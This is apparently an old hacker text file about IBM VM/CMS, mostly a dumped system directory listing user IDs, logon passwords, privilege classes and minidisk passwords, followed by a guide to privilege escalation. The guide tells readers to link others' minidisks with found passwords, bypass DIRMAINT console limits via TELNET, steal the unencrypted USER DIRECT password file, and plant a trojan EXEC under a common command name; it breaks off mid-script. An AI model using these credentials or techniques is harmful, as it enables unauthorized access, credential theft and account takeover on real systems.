885 DOSRES MR VSEIPO  VSEIPO *MDISK 151 3380 000 885 SYSWK1 MR VSEIPO  VSEIPO
*MDISK 152 3380 000 885 SYSWK2 MR VSEIPO  VSEIPO * 3375 SYSTEM *MDISK 140 3375
000 959 DOSRES MR VSEIPO  VSEIPO *MDISK 141 3375 000 959 SYSWK1 MR VSEIPO
VSEIPO *MDISK 142 3375 000 959 SYSWK2 MR VSEIPO  VSEIPO * FB-512 SYSTEM *MDISK
240 FB-512 00000 558000 DOSRES MR VSEIPO VSEIPO *MDISK 241 FB-512 00000 558000
SYSWK1 MR VSEIPO VSEIPO *MDISK 242 FB-512 00000 558000 SYSWK2 MR VSEIPO VSEIPO
* 3350 SYSTEM  MDISK 220 3350 000 555 SYSWKB MR VSE220	VSE0WO	MDISK 222 3350
000 555 SYSWK2 MR VSE222  VSE2WO  MDISK 223 3350 000 555 SYSWK4 MR VSE223
VSE3WO	MDISK 224 3350 000 555 DOSRES MR VSE224  VSE4WO  MDISK 225 3350 000 555
SYSWK1 MR VSE225  VSE5WO * 3380 SYSTEM	MDISK 200 3380 000 885 SYSWKA MR
VSE219	VSEAWO * USER ROUTER ROUTER 512K 2M G 64 ON ON ON ON INCLUDE EXPPROF
ACCOUNT 46 ROUTER  MDISK 191 3380 636 003 VMSRES MR RROUTER  WROUTER
MROUTER 	   03131808 * USER AP2SVP AP2SVP 512K 8M EG 64 ON ON ON ON * *
5668899 APL2 SERVICE MACHINE * INCLUDE EXPPROF	ACCOUNT 9999 APL2-SVP  MDISK
191 3380 731 003 VMPK01 MR RAP2SVP  WAP2SVP  MAP2SVP		03131808 * USER
APL2PP APL2PP 3M 16M BEG 64 ON ON ON ON * * 5668899 APL2 * INCLUDE EXPPROF
ACCOUNT 9999 I5668899  MDISK 191 3380 264 044 VMSRES MR ALL
WAPL2PP 		    03131808 * USER VMASSYS VMASSYS 16M 16M EG 64 ON ON
ON ON * * 5767032 AS * INCLUDE EXPPROF	ACCOUNT 15 SYSTEM  LINK ISPVM 192 192
RR  LINK SQLDBA 195 195 RR  MDISK 191 3380 569 018 VMPK01 MR RVMASSYS WVMASSYS
INSTALL 	   03131808  MDISK 391 3380 587 095 VMPK01 MR RVMASSYS WVMASSYS
SYSTEM		   03131808  MDISK 392 3380 682 005 VMPK01 MR RVMASSYS WVMASSYS
TEST		   03131808  MDISK 393 3380 687 026 VMPK01 MR RVMASSYS WVMASSYS
IPCS		   03131808 * USER VMASMON VMASMON 2M 2M G 64 ON ON ON ON * *
5767032 AS * INCLUDE EXPPROF  ACCOUNT 15 SYSTEM  OPTION MAXCONN 20  IUCV ALLOW
LINK VMASSYS 191 390 RR  LINK VMASSYS 391 391 RR  MDISK 191 3380 567 002 VMPK01
MR RVMASMON WVMASMON MVMASMON		03131808 * USER VMASTEST VMASTEST 2M 2M
G 64 ON ON ON ON * * 5767032 AS * INCLUDE EXPPROF  ACCOUNT 15 SYSTEM  LINK
VMASSYS 391 391 RR  LINK VMASSYS 392 392 RR  MDISK 191 3380 713 018 VMPK01 MR
RVMASTES WVMASTES MVMASTES	     03131808 * USER BATCH BATCH 2M 2M ABEG 64
ON ON ON ON * * 5664364 VM BATCH FACILITY * INCLUDE EXPPROF  ACCOUNT 999  IUCV
ALLOW  OPTION BMX MAXCONN 256  MDISK 191 3380 741 003 VMPK01 MR RVMBATCH
WVMBATCH MVMBATCH	    03131808  MDISK 193 3380 744 020 VMPK01 MR RVMBATCH
WVMBATCH MVMBATCH	    03131808  MDISK 194 3380 764 003 VMPK01 MR RVMBATCH
WVMBATCH MVMBATCH	    03131808  MDISK 199 3380 767 002 VMPK01 RR RVMBATCH
WVMBATCH MVMBATCH	    03131808  MDISK 195 3380 769 002 VMPK01 MR RVMBATCH
WVMBATCH MVMBATCH	    03131808 * USER BATCH1 BATCH1 2M 4M G 64 ON ON ON
ON * * 5664364 VM BATCH FACILITY TEST USERID * INCLUDE EXPPROF	ACCOUNT 999
MDISK 191 3380 771 005 VMPK01 MR RVMBATCH WVMBATCH MVMBATCH	      03131808
* USER BATCH2 BATCH2 2M 4M G 64 ON ON ON ON * * 5664364 VM BATCH FACILITY TEST
USERID * INCLUDE EXPPROF  ACCOUNT 999  MDISK 191 3380 776 005 VMPK01 MR
RVMBATCH WVMBATCH MVMBATCH	     03131808 * * USER CSPUSER CSPUSER 2M 4M G
64 ON ON ON ON * * 5668814 CSP * * INCLUDE EXPPROF * ACCOUNT 101 * MDISK 191
3380 134 032 VMPK01 MR RCSPUSER WCSPUSER MCSPUSER	   03131808 * MDISK 193
3380 519 008 VMPK01 MR RCSPUSER WCSPUSER MCSPUSER	   03131808 * MDISK 502
3380 527 020 VMPK01 MR RCSPUSER WCSPUSER MCSPUSER	   03131808 * MDISK 503
3380 547 020 VMPK01 MR RCSPUSER WCSPUSER MCSPUSER	   03131808 * USER
CVIEW CVIEW 2M 2M G 64 ON ON ON ON * * 5664296 CVIEW * INCLUDE EXPPROF	ACCOUNT
15 SYSTEM  OPTION BMX  LINK MAINT 193 193 RR  MDISK 191 3380 732 004 VMSRES MR
RCVIEW	 WCVIEW 		     03131808 * USER DIRMAINT DIRMAINT 1M 2M BG
64 ON ON ON ON * * 5748XE4 DIRMAINT * INCLUDE EXPPROF  ACCOUNT 7 SYSADMIN
OPTION REALTIME ECMODE	MDISK 191 3380 191 004 VMPK01 MR RDIRMAIN WDIRMAIN
MDIRMAIN	   03131808  MDISK 193 3380 001 009 VMPK01 MR RDIRMAIN WDIRMAIN
MDIRMAIN	   03131808  MDISK 195 3380 049 009 VMSRES MR RDIRMAIN WDIRMAIN
MDIRMAIN	   03131808  MDISK 294 3380 844 004 VMPK01 MR RDIRMAIN WDIRMAIN
MDIRMAIN	   03131808  MDISK 394 3380 226 019 VMSTGE MR RDIRMAIN WDIRMAIN
MDIRMAIN	   03131808  MDISK 123 3380 000 885 VMSRES
MW					03131808 * USER DATAMOVE DATAMOVE 1M 1M
G 64 ON ON ON ON * * 5748XE4 DATAMOVE MACHINE * INCLUDE EXPPROF  ACCOUNT 5
SYSADMIN  OPTION ACCT ECMODE  LINK DIRMAINT 191 193 RR	LINK MAINT    193 192
RR  MDISK 191 3380 178 003 VMPK01 MR RDATAMOV WDATAMOV MDATAMOV
03131808 * USER FSFCNTRL FSFCNTRL 2M 16M ABG 64 ON ON ON ON * * 5798DMY FILE
STORAGE CONTROL MACHINE * INCLUDE EXPPROF  ACCOUNT 999	OPTION ECMODE BMX
MAXCONN 256  IUCV ALLOW PRIORITY MSGLIMIT 255  LINK FSFADMIN 192 198 RR  MDISK
191 3380 143 007 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR		03131808  MDISK
192 3380 141 002 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR		03131808  MDISK
193 3380 150 002 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR		03131808  MDISK
194 3380 152 001 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR		03131808  MDISK
195 3380 153 001 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR		03131808  MDISK
197 3380 154 001 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR		03131808  MDISK
200 3380 155 005 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR		03131808  MDISK
201 3380 160 005 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR		03131808  MDISK
400 3380 165 005 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR		03131808  MDISK
401 3380 170 005 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR		03131808 * USER
FSFTASK1 FSFTASK1 1M 1M G 64 ON ON ON ON * * 5798DMY FILE STORAGE TASK MACHINE
* INCLUDE EXPPROF  ACCOUNT 999	OPTION BMX MAXCONN 2  IUCV ALLOW PRIORITY
MSGLIMIT 255  LINK FSFCNTRL 191 191 RR * USER FSFTASK2 FSFTASK2 1M 1M G 64 ON
ON ON ON * * 5798DMY FILE STORAGE TASK MACHINE * INCLUDE EXPPROF  ACCOUNT 999
OPTION BMX MAXCONN 2  IUCV ALLOW PRIORITY MSGLIMIT 255	LINK FSFCNTRL 191 191
RR * USER FSFADMIN FSFADMIN 1M 1M G 64 ON ON ON ON * * 5798DMY FILE STORAGE
ADMINISTRATOR * INCLUDE EXPPROF  ACCOUNT 999  OPTION BMX MAXCONN 2  IUCV ALLOW
PRIORITY MSGLIMIT 255  LINK MAINT 319 319 RR  MDISK 192 3380 175 003 VMPK02 MR
RFSFADMI WFSFADMI MFSFADMI	     03131808 * USER IIPS IIPS 2M 4M G 64 ON ON
ON ON * * 5668012 IIPS * INCLUDE EXPPROF  ACCOUNT 8 INSTR  MDISK 191 3380 736
013 VMSRES MR RIIPS    WIIPS	MIIPS		   03131808  MDISK 193 3380 749
019 VMSRES MR RIIPS    WIIPS	MIIPS		   03131808 * USER ADMIN ADMIN
1664K 16M ABCDEFG 64 ON ON ON ON * * 5664318 VM/IPF * INCLUDE EXPPROF  LINK
MAINT 300 300 RR  MDISK 191 3380 781 001 VMPK01 MR RADMIN   WADMIN
MADMIN		   03131808 * USER DISKACNT DISKACNT 512K 2M G 64 ON ON ON ON *
* 5664318 VM/IPF * INCLUDE EXPPROF  OPTION ECMODE  LINK MAINT 300 300 RR  MDISK
191 3380 010 002 VMPK01 MR RDISKACN WDISKACN MDISKACN		03131808 * USER
CPRM CPRM 512K 1M G 64 ON ON ON ON * * 5664318 VM/IPF * INCLUDE EXPPROF  LINK
OPERATNS 193 193 RR  MDISK 191 3380 783 001 VMPK01 MR RCPRM    WCPRM
MCPRM		   03131808  MDISK 192 3380 098 007 VMSRES MR ALL      WCPRM
MCPRM		   03131808  MDISK 291 3380 784 001 VMPK01 MR RCPRM    WCPRM
MCPRM		   03131808 * USER OP1 OP1 1M 13M ABCDEFG 64 ON ON ON ON * *
5664318 VM/IPF * INCLUDE EXPPROF  LINK MAINT 300 300 RR  MDISK 191 3380 058 001
VMSRES MR ROP1	   WOP1     MOP1	       03131808 * USER VMUTIL VMUTIL
512K 2M ABDEG 64 ON ON ON ON * * 5664318 VM/IPF * INCLUDE EXPPROF  IPL CMS
OPTION ECMODE  LINK MAINT 300 300 RR  MDISK 191 3380 059 001 VMSRES MR RVMUTIL
WVMUTIL  MVMUTIL	    03131808 * USER IPFSERV IPFSERV 2M 16M G 64 ON ON
ON ON * * 5664318 VM/IPF *  IPL CMS  CONSOLE 009 3215 T MAINT  SPOOL 00C 2540
READER *  SPOOL 00D 2540 PUNCH	A  SPOOL 00E 1403 A  LINK MAINT 123 123 MW
LINK MAINT 190 190 RR  LINK MAINT 191 192 RR  LINK MAINT 193 193 RR  LINK MAINT
194 194 RR  LINK MAINT 19D 19D RR  LINK MAINT 19E 19E RR  LINK MAINT 294 294
RR  LINK MAINT 295 295 RR  LINK MAINT 300 300 RR  MDISK 191 3380 060 001 VMSRES
MR RIPFSERV WIPFSERV MIPFSERV		03131808 * USER ISPVM ISPVM 1M 10M EG
64 ON ON ON ON * * 5664282 ISPF * INCLUDE EXPPROF  ACCOUNT 104 USER04  MDISK
191 3380 548 005 VMSRES MR RISPVM   WISPVM   MISPVM		03131808  MDISK
192 3380 110 054 VMSRES MR RISPVM   WISPVM   MISPVM		03131808 * USER
NETVIEW NETVIEW 5M 16M G 64 ON ON ON ON * * 5664175 NETVIEW *  ACCOUNT NETVIEW
GCS  OPTION ECMODE  IUCV ANY P M 0  IUCV *LOGREC  IPL GCS PARM AUTOLOG	CONSOLE
01F 3215  SPOOL 00C 2540 READER A  SPOOL 00D 2540 PUNCH A  SPOOL 00E 1403 A
LINK MAINT 190 190 RR  LINK MAINT 334 191 RR  LINK VTAM  191 291 RR  LINK VTAM
29A 29A RR  LINK MAINT 595 595 RR  MDISK 198 3380 166 034 VMGCS1 WR RNETVIEW
WNETVIEW MNETVIEW	    03131808 * USER PRODBM PRODBM 1M 4M G 64 ON ON ON
ON * * 5664309 PROFS DATABASE MANAGER * INCLUDE EXPPROF  ACCOUNT 250 PRODBM
OPTION MAXCONN 2000  IUCV ALLOW  LINK SYSADMIN 399 399 RR  MDISK 161 3380 169
011 PROFPK MR RDBM     WDBM	MDBM		   03131808  MDISK 191 3380 165
004 PROFPK MR RDBM     WDBM	MDBM		   03131808  MDISK 5FD 3380 206
013 PROFPK MR RDBM     WDBM	MDBM		   03131808  MDISK 5FE 3380 193
013 PROFPK MR RDBM     WDBM	MDBM		   03131808  MDISK 5FF 3380 180
013 PROFPK MR RDBM     WDBM	MDBM		   03131808 * USER PROMAIL
PROMAIL 1M 2M G 64 ON ON ON ON * * 5664309 PROFS DISTRIBUTION MANAGER * INCLUDE
EXPPROF  ACCOUNT 250 PROMAIL  LINK PRODBM   191 395 RR	LINK SYSADMIN 399 399
RR  MDISK 151 3380 092 004 PROFPK MR RMAIL    WMAIL    MMAIL
03131808  MDISK 191 3380 084 008 PROFPK MR RMAIL    WMAIL    MMAIL
03131808 * USER PROCAL PROCAL 1M 4M G 64 ON ON ON ON * * 5664309 PROFS CALENDAR
MANAGER * INCLUDE EXPPROF  ACCOUNT 250 PROCAL  LINK PRODBM   191 395 RR  LINK
SYSADMIN 398 398 RR  LINK SYSADMIN 399 399 RR  MDISK 191 3380 096 004 PROFPK MR
RCAL	 WCAL	  MCAL		     03131808  MDISK 5FB 3380 100 013 PROFPK MR
RCAL	 WCAL	  MCAL		     03131808  MDISK 5FC 3380 113 013 PROFPK MR
RCAL	 WCAL	  MCAL		     03131808  MDISK 5FD 3380 126 013 PROFPK MR
RCAL	 WCAL	  MCAL		     03131808  MDISK 5FE 3380 139 013 PROFPK MR
RCAL	 WCAL	  MCAL		     03131808  MDISK 5FF 3380 152 013 PROFPK MR
RCAL	 WCAL	  MCAL		     03131808 * USER SYSADMIN NOLOG 1M 16M EG
64 ON ON ON ON * * 5664309 PROFS ADMINISTRATOR * INCLUDE EXPPROF  ACCOUNT 250
SYSADMIN  LINK PRODBM	161 161 RR  LINK PRODBM   191 4FA RR  LINK PRODBM   5FD
5FD RR	LINK PRODBM   5FE 5FE RR  LINK PRODBM	5FF 5FF RR  MDISK 191 3380 001
011 PROFPK MR RADMIN   WADMIN	MADMIN		   03131808  MDISK 298 3380 012
029 PROFPK MR RADMIN   WADMIN	MADMIN		   03131808  MDISK 398 3380 041
019 PROFPK MR RADMIN   WADMIN	MADMIN		   03131808  MDISK 399 3380 060
024 PROFPK MR RADMIN   WADMIN	MADMIN		   03131808  MDISK 397 3380 219
002 PROFPK MR ALL      WADMIN	MADMIN		   03131808 * USER SFCM1 SFCM1
3M 5M BDG 64 ON ON ON ON * * 5664198 PSF * INCLUDE EXPPROF  ACCOUNT 100 PSF
OPTION ACCT  IUCV *SPL	LINK PDM470 191 193 RR	LINK PDMREM1 191 194 RR  LINK
PSFMAINT 191 291 RR  LINK PSFMAINT 193 293 RR  LINK PSFMAINT 194 294 RR  MDISK
191 3380 839 020 VMSRES MR RSFCM1   WSFCM1			03131808 * USER
PSFMAINT PSFMAINT 3M 16M ABCDEFG 64 ON ON ON ON * * 5664198 PSF MAINTENANCE *
INCLUDE EXPPROF  ACCOUNT 1 SYSPROG  MDISK 191 3380 814 011 VMSRES MR RPSFMAIN
WPSFMAIN		    03131808  MDISK 193 3380 825 004 VMSRES MR RPSFMAIN
WPSFMAIN		    03131808  MDISK 194 3380 829 010 VMSRES MR RPSFMAIN
WPSFMAIN		    03131808 * USER PDM470 PDM470 4M 5M BG 64 ON ON ON
ON * * 5664198 PSF 3800 PDM * INCLUDE EXPPROF  ACCOUNT 100 PSF	OPTION ACCT
IUCV *SPL *DEDICATE 470 470  LINK SFCM1 191 193 RR  LINK PSFMAINT 191 291 RR
LINK PSFMAINT 194 294 RR  MDISK 191 3380 809 005 VMSRES MR RPDM470
WPDM470 		    03131808 * USER PDMREM1 PDMREM1 4M 5M BG 64 ON ON
ON ON * * 5664198 PSF 3820 PDM *  ACCOUNT 100 PSF  OPTION ACCT ECMODE  IPL GCS
PARM AUTOLOG  IUCV *SPL  CONSOLE 009 3215  SPOOL 00C 2540 READER *  SPOOL 00D
2540 PUNCH A  SPOOL 00E 1403 A	LINK MAINT 190 190 RR  LINK MAINT 19E 19E RR
LINK MAINT 595 595 RR  LINK SFCM1 191 193 RR  LINK PSFMAINT 191 291 RR	LINK
PSFMAINT 194 294 RR  MDISK 191 3380 804 005 VMSRES MR RPDMREM1
WPDMREM1		    03131808 * USER PVM PVM 1024K 2M BG 50 ON ON ON ON
* * 5748RC1 VM PASS-THROUGH FACILITY * INCLUDE EXPPROF	OPTION ECMODE  LINK
MAINT 193 193 RR  LINK MAINT 36E 191 MR * USER RSCS RSCS 1M 2M BG 64 ON ON ON
ON * * 5748XP1 RSCS V1 *  ACCOUNT 15 SYSTEM  OPTION ACCT ECMODE  IPL 191
CONSOLE 009 3215  SPOOL 00C 2540 READER *  SPOOL 00D 2540 PUNCH A  SPOOL 00E
1403 A	LINK MAINT 190 190 RR  LINK MAINT 193 193 RR  LINK MAINT 19E 19E RR
LINK MAINT 19D 19D RR  LINK MAINT 49E 49E RR  MDISK 191 3380 105 002 VMSRES MR
RRSCS	 WRSCS	  MRSCS 	     03131808 * USER RSCSV2 RSCSV2 2M 4M BG 64
ON ON ON ON * * 5664188 RSCS (VERSION 2) *  ACCOUNT 15 SYSTEM  OPTION ECMODE
ACCT BMX VCUNOSHR  IPL GCS PARM AUTOLOG  CONSOLE 01F 3215 T OPERATOR  SPOOL 00C
2540 READER A  SPOOL 00D 2540 PUNCH A  SPOOL 00E 1403 A  LINK MAINT 595 595 RR
LINK MAINT 59F 191 RR * USER SMART SMART 2048K 2M CEG 64 ON ON ON ON * *
5796PNA VM REAL TIME MONITOR SYSTEM * INCLUDE EXPPROF  ACCOUNT 999  LINK MAINT
319 319 RR  MDISK 191 3380 848 026 VMPK01 MR RSMART   WSMART
MSMART		   03131808 * USER SQLDBA SQLDBA 6M 6M G 64 ON OFF OFF \ * *
5748XXJ SQL/DS ADMINISTRATOR *	ACCOUNT 26  OPTION MAXCONN 25  IUCV ALLOW  IUCV
*IDENT SQLDBA GLOBAL  IPL CMS  CONSOLE 009 3215 T OPERATOR  SPOOL 00C 2540
READER *  SPOOL 00D 2540 PUNCH A  SPOOL 00E 1403  LINK MAINT 190 190 RR  LINK
MAINT 19D 19D RR  MDISK 191 3380 001 010 SQLPK
W					03131808  MDISK 193 3380 011 035 SQLPK
R  RSQL     WSQL			03131808  MDISK 195 3380 046 013 SQLPK
RR RSQL     WSQL     MSQL		03131808  MDISK 200 3380 059 034 SQLPK
R  RSQL     WSQL			03131808  MDISK 201 3380 093 011 SQLPK
R  RSQL     WSQL			03131808  MDISK 202 3380 104 100 SQLPK
R  RSQL     WSQL			03131808 * USER SQLUSER SQLUSER 2M 2M G
64 ON ON ON ON * * 5748XXJ SQL/DS USER MACHINE * INCLUDE EXPPROF  ACCOUNT 27
OPTION REALTIMER  IUCV SQLDBA  LINK SQLDBA 195 195 RR  MDISK 191 3380 204 003
SQLPK  W				       03131808 * USER VMARCH VMARCH 2M
4M BEG 64 ON ON ON ON * * 5664291 VMBACKUP * INCLUDE EXPPROF  ACCOUNT 999
OPTION ACCT ECMODE  LINK MAINT 123 1A0 RR  MDISK 191 3380 001 011 VMPK02 MR
RVMARCH  WVMARCH  MVMARCH	     03131808  MDISK 193 3380 012 007 VMPK02 MR
RVMARCH  WVMARCH  MVMARCH	     03131808  MDISK 100 3380 019 007 VMPK02 MR
RVMARCH  WVMARCH  MVMARCH	     03131808  MDISK 101 3380 026 007 VMPK02 MR
RVMARCH  WVMARCH  MVMARCH	     03131808  MDISK 200 3380 033 007 VMPK02 MR
RVMARCH  WVMARCH  MVMARCH	     03131808 * USER VMBACKUP VMBACKUP 2M 16M
BEG 64 ON ON ON ON * * 5664291 VMBACKUP *  ACCOUNT 999	OPTION ACCT BMX ECMODE
IPL CMS  CONSOLE 009 3215  SPOOL 001 2540 READER *  SPOOL 00C 2540 READER *
SPOOL 00D 2540 PUNCH  SPOOL 0D0 2540 PUNCH  SPOOL 0D1 2540 PUNCH  SPOOL 00E
1403  SPOOL 0E0 1403  SPOOL 0E1 1403  SPOOL 0E2 1403  SPOOL 0E3 1403  SPOOL 0E4
1403  SPOOL 0E5 1403  SPOOL 0E6 1403  SPOOL 0E7 1403  LINK MAINT 190 190 RR
LINK MAINT 19E 19E RR  LINK MAINT 123 1A0 RR  MDISK 191 3380 040 006 VMPK02 MR
RVMBACKU WVMBACKU MVMBACKU	     03131808  MDISK 192 3380 046 003 VMPK02 MR
RVMBACKU WVMBACKU MVMBACKU	     03131808  MDISK 193 3380 049 003 VMPK02 MR
RVMBACKU WVMBACKU MVMBACKU	     03131808  MDISK 194 3380 052 044 VMPK02 MR
RVMBACKU WVMBACKU MVMBACKU	     03131808 * USER VMBSYSAD VMBSYSAD 1M 4M BG
64 ON ON ON ON * * 5664291 VMBACKUP * INCLUDE EXPPROF  ACCOUNT 999  LINK MAINT
191 124 RR  LINK VMBACKUP 194 294 RR RVMBACKU  LINK VMBACKUP 193 293 RR
RVMBACKU  LINK MAINT 123 1A0 RR  MDISK 191 3380 096 005 VMPK02 MR RVMBSYSA
WVMBSYSA MVMBSYSA	    03131808  MDISK 192 3380 101 009 VMPK02 MR RVMBSYSA
WVMBSYSA MVMBSYSA	    03131808 * USER DEMO1 DEMO1 4M 4M G 64 ON ON ON ON
* * 5664283 VM/IS-PRODUCTIVITY FACILITY SAMPLE USER * INCLUDE EXPPROF  ACCOUNT
DEMO1 DEMO1  IUCV SQLDBA  LINK MAINT	319 319 RR  LINK MAINT	  31A 31A RR
LINK MAINT    322 322 RR  LINK MAINT	326 326 RR  LINK MAINT	  34A 59A RR
LINK SQLDBA   195 195 RR  LINK SYSADMIN 399 399 RR  MDISK 191 3380 107 003
VMSRES MR RDEMO1   WDEMO1   MDEMO1	       03131808 * USER DEMO2 DEMO2 4M
4M G 64 ON ON ON ON * * 5664283 VM/IS-PRODUCTIVITY FACILITY SAMPLE USER *
INCLUDE EXPPROF  ACCOUNT DEMO2 DEMO2  IUCV SQLDBA  LINK MAINT	 319 319 RR
LINK MAINT    31A 31A RR  LINK MAINT	322 322 RR  LINK MAINT	  326 326 RR
LINK MAINT    34A 59A RR  LINK SQLDBA	195 195 RR  LINK SYSADMIN 399 399 RR
MDISK 191 3380 859 003 VMSRES MR RDEMO2   WDEMO2   MDEMO2	      03131808
* USER DEMO3 DEMO3 4M 4M G 64 ON ON ON ON * * 5664283 VM/IS-PRODUCTIVITY
FACILITY SAMPLE USER * INCLUDE EXPPROF	ACCOUNT DEMO3 DEMO3  IUCV SQLDBA  LINK
MAINT	 319 319 RR  LINK MAINT    31A 31A RR  LINK MAINT    322 322 RR  LINK
MAINT	 326 326 RR  LINK MAINT    34A 59A RR  LINK SQLDBA   195 195 RR  LINK
SYSADMIN 399 399 RR  MDISK 191 3380 862 003 VMSRES MR RDEMO3   WDEMO3
MDEMO3		   03131808 * USER DEMO4 DEMO4 4M 4M G 64 ON ON ON ON * *
5664283 VM/IS-PRODUCTIVITY FACILITY SAMPLE USER * INCLUDE EXPPROF  ACCOUNT
DEMO4 DEMO4  IUCV SQLDBA  LINK MAINT	319 319 RR  LINK MAINT	  31A 31A RR
LINK MAINT    322 322 RR  LINK MAINT	326 326 RR  LINK MAINT	  34A 59A RR
LINK SQLDBA   195 195 RR  LINK SYSADMIN 399 399 RR  MDISK 191 3380 865 003
VMSRES MR RDEMO4   WDEMO4   MDEMO4	       03131808 * USER VMTAPE VMTAPE 1M
2M BCEG 64 ON ON ON ON * * 5664292 VMTAPE * INCLUDE EXPPROF  ACCOUNT 999
OPTION BMX ECMODE ACCT	MDISK 191 3380 110 005 VMPK02 MR RVMTAPE  WVMTAPE
MVMTAPE 	   03131808  MDISK 200 3380 115 007 VMPK02 MR RVMTAPE  WVMTAPE
MVMTAPE 	   03131808  MDISK 300 3380 122 007 VMPK02 MR RVMTAPE  WVMTAPE
MVMTAPE 	   03131808 * USER VMTLIBR VMTLIBR 1M 3M G 64 ON ON ON ON * *
5664292 VMTAPE * INCLUDE EXPPROF  ACCOUNT 999  LINK VMTAPE 191 193 MR  LINK
VMTAPE 200 200 MW  LINK VMTAPE 300 300 MW  MDISK 191 3380 129 005 VMPK02 MR
RVMTLIBR WVMTLIBR MVMTLIBR	     03131808  MDISK 192 3380 134 007 VMPK02 MR
RVMTLIBR WVMTLIBR MVMTLIBR	     03131808 * USER VMMAP VMMAP 2M 4M G 64 ON
ON ON ON * * 5664191 VMMAP * INCLUDE EXPPROF  ACCOUNT 999  LINK MAINT 193 193
RR  MDISK 191 3380 639 024 VMSRES MR RVMMAP   WVMMAP   MVMMAP
03131808 * USER VTAM VTAM 5M 16M G 64 ON ON ON ON * * 5664280 VTAM *  ACCOUNT
VTAM GCS  OPTION ECMODE DIAG98 MAXCONN 400  IUCV *CCS P M 10  IUCV ANY P M 0
IPL GCS PARM AUTOLOG  CONSOLE 01F 3215	SPOOL 00C 2540 READER A  SPOOL 00D 2540
PUNCH A  SPOOL 00E 1403 A  LINK MAINT 190 190 RR  LINK MAINT 298 191 RR  LINK
MAINT 29A 29A RR  LINK MAINT 595 595 RR * USER VM3812 VM3812 3M 4M BG 64 ON ON
ON ON * * 5798DTE VM3812 SERVICE MACHINE * INCLUDE EXPPROF  ACCOUNT 15 SYSTEM
MDISK 191 3380 813 004 VMPK01 MR RVM3812  WVM3812  MVM3812	      03131808
MDISK 192 3380 817 007 VMPK01 MR RVM3812  WVM3812  MVM3812	      03131808
MDISK 193 3380 824 020 VMPK01 MR ALL	  WVM3812		      03131808
*    ADD USER ID ------ USER VSEMAN VSE 2M 16M ABCDEFG 42 ON ON ON ON INCLUDE
EXPPROF  ACCOUNT 999 SYSTEM  MDISK 191 3380 001 030 EDMD01 MR
VSE				     03131808  MDISK 192 3380 873 012 VMSRES MR
VSE				     03131808 USER PENG PENG  2M 16M ABCDEFG 42
ON ON ON ON INCLUDE EXPPROF  ACCOUNT 999 SYSTEM  MDISK 191 3380 553 010 VMSRES
MR PENG PENG				03131808 * USER MOESERV MOESERV  2M 16M
G 42 ON ON ON ON INCLUDE EXPPROF  ACCOUNT 996 MOE  MDISK 191 3380 544 002
VMPK01 MR MOESERV MOESERV		       03131808 * USER VTAMUSER
CCC	 2M 8M G 64 ON ON ON ON * * 5668814 CSP *  INCLUDE EXPPROF  ACCOUNT
101  MDISK 191 3380 134 032 VMPK01 MW VTAM1  WVTAM1   MVTAM1
03131808 USER IDMSSE IDMS     2M 8M G 64 ON ON ON ON  INCLUDE EXPPROF  ACCOUNT
101  MDISK 191 3380 519 005 VMPK01 MW VTAM1  WVTAM1   MVTAM1
03131808  MDISK 192 3380 524 020 VMPK01 MW VTAM1  WVTAM1   MVTAM1
03131808

===============================================================================

If you need an explanation about these two tables, you should look at it like
this:

       |------User ID	     |	   |-------That User ID's password        ^
^ USER IDMSSE IDMS     2M 8M G 64 ON ON ON ON			   ^  ^
^		       |  |  |---Its privilege grade			  |
|--Its maximum memory storage			   |
|----Its default memory storage

 INCLUDE EXPPROF  <-----What you see when you log on  ACCOUNT 101  MDISK 191
3380 519 005 VMPK01 MW VTAM1  WVTAM1   MVTAM1
^			   ^	   ^	  ^	    |
|	|      |---Minidisk mult pass	      |
|	|---Minidisk write pass 	|			   |---Minidisk
read pass	  |--Its minidisk

 MDISK 192 3380 524 020 VMPK01 MW VTAM1  WVTAM1   MVTAM1

===============================================================================

Luckily, I have tested the second table in 4 VM systems and it works.  May you
be lucky too!

Of course, since all of us are general users, the first thing to know is how to
get privileges by trying a password or by accident by getting privileged users'
passwords.

While CP/CMS uses passwords to control performance, it must store some
passwords in the REXX command language (EXEC files).  It looks like this:

CP LINK VTAMUSER 191 121 RR VTAM1

If you have succeeded in linking that minidisk then:

AC 121 B FILEL * * B

Then you can see all of the files owned by VTAMUSER.  Usually people are lazy
enough to remember too many passwords, so to read the passwords.  It may be its
CP pass too!  TRY IT!!!

But IBM is not so stupid as to let any user with privileges open accounts
randomly.  It limits a maximum of 8 superusers to be able to do it.  You may
find it in:

DIRMAINT DATA Y2

Only these DIRM-STAFF can open accounts from the console.  If another user logs
on from a terminal, he will be logged out immediately even though he knew the
password. And only these STAFF have 2 modes of operation to use:

DIRM

One is general user mode and the other is operation mode (Privilege operation)
so you have to cheat the O.S. to think that you are NOT logged in from a
terminal.  Our way is to use TELNET.  Usually this package is named TCPIP.  Do
this:

TELNET yourhost

It will request you logon again.  Then, if you logon with the superuser ID &
password, the O.S. will not recognize that you are from a terminal and will let
you in!!  The most important thing is that IBM stores its user IDs & passwords
in a file:

USER DIRECT

Usually, this file is stored on DIRMAINT's minidisk and it is a text file!!!  I
do not know why, but it actually is not encrypted!!!!  Incredible to believe...

Once you have this file, you will know all users' passwords and all information
about all users' IDs and I think it is rude to open new accounts!  Poor me!
I've done this and lost privs 3 times now.  While there is a way to get back
your privs, first you need find a privileged ID so that you can write your file
in it.	Then, write a EXEC file into it.  This file's name must be a most
common command that any one will issue.  If the general user uses it, nothing
happens, but if a superuser issues it, then it will do something for you!  Here
is a example:

Please note that wherever you see (cut), it means that the line was too long
and had to be split.  Whenever you see (cut), take the line below the line that
it is on and paste it on the end of the (cut) line (removing the (cut) in the
process).

-----------------------------------Cut Here------------------------------------
/* DISPLAY THE NUMBER OF SPECIFIED USERS LOGGED ON */
 TRACE O USER  = 0 SW	 = 1 S	   = 1 PARSE UPPER ARG NAM GARBAGE IF NAM = ' '
THEN signal qname PO = INDEX(NAM,'*') IF PO = 0 THEN DO    Q NAM    EXIT   END
T = PO - 1 IF T= 0 THEN signal qname NALL = SUBSTR(NAM,1,T) EXECIO '* CP
